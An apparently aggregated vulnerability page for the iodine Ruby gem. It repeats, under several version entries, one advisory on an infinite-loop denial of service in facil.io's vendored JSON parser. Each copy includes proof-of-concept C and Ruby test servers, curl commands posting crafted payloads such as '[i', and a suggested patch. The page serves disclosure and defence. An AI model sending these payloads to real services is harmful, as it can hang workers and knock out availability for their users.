iodine

Version	Released
`0.8.3` patch	Oct 26, 2026
`0.8.2` patch	Oct 22, 2026
`0.8.1` patch	Oct 14, 2026
`0.8.0` minor	Oct 14, 2026
`0.7.60` patch	Oct 12, 2026
`0.7.59` patch	May 23, 2026
`0.7.58` patch 1 CVE	Apr 28, 2024
`0.7.57` patch 1 CVE	Sep 03, 2023
`0.7.56` patch 1 CVE	Jul 07, 2023
`0.7.55` patch 1 CVE	May 01, 2023
`0.7.54` patch 1 CVE	Mar 15, 2023
`0.7.53` patch 1 CVE	Jan 13, 2023
`0.7.52` patch 1 CVE	Dec 10, 2022
`0.7.51` patch 1 CVE	Dec 03, 2022
`0.7.50` patch 1 CVE	Oct 29, 2022
`0.7.49` patch 1 CVE	Sep 12, 2022
`0.7.48` patch 1 CVE	Jun 28, 2022
`0.7.47` patch 1 CVE	May 10, 2022
`0.7.46` patch 1 CVE	May 07, 2022
`0.7.45` patch 1 CVE	Nov 26, 2021
`0.7.44` patch 1 CVE	Feb 28, 2021
`0.7.43` patch 1 CVE	Nov 03, 2020
`0.7.42` patch 1 CVE	Aug 02, 2020
`0.7.41` patch 1 CVE	Jul 23, 2020
`0.7.40` patch 1 CVE	May 23, 2020
`0.7.39` patch 1 CVE	May 18, 2020
`0.7.38` patch 1 CVE	Dec 09, 2019
`0.7.37` patch 1 CVE	Nov 13, 2019
`0.7.36` patch 1 CVE	Oct 24, 2019
`0.7.35` patch 1 CVE	Oct 19, 2019
`0.7.34` patch 1 CVE	Oct 04, 2019
`0.7.33` patch 2 CVEs	Jul 07, 2019
`0.7.32` patch 2 CVEs	Jun 01, 2019
`0.7.31` patch 2 CVEs	May 17, 2019
`0.7.29` patch 2 CVEs	Apr 01, 2019
`0.7.28` patch 2 CVEs	Mar 30, 2019
`0.7.27` patch 2 CVEs	Mar 20, 2019
`0.7.26` patch 2 CVEs	Mar 07, 2019
`0.7.25` patch 2 CVEs	Feb 22, 2019
`0.7.24` patch 2 CVEs	Feb 17, 2019
`0.7.23` patch 2 CVEs	Feb 08, 2019
`0.7.22` patch 2 CVEs	Feb 07, 2019
`0.7.21` patch 2 CVEs	Feb 01, 2019
`0.7.20` patch 2 CVEs	Jan 31, 2019
`0.7.19` patch 2 CVEs	Jan 27, 2019
`0.7.18` patch 2 CVEs	Jan 18, 2019
`0.7.17` patch 2 CVEs	Jan 17, 2019
`0.7.16` patch 2 CVEs	Dec 31, 2018
`0.7.15` patch 2 CVEs	Dec 24, 2018
`0.7.14` patch 2 CVEs	Dec 12, 2018

0.8.3 patch

Oct 26, 2026

0.8.2 patch

Oct 22, 2026

0.8.1 patch

Oct 14, 2026

0.8.0 minor

Oct 14, 2026

0.7.60 patch

Oct 12, 2026

0.7.59 patch

May 23, 2026

0.7.58 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Apr 28, 2024

0.7.57 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Sep 03, 2023

0.7.56 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Jul 07, 2023

0.7.55 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
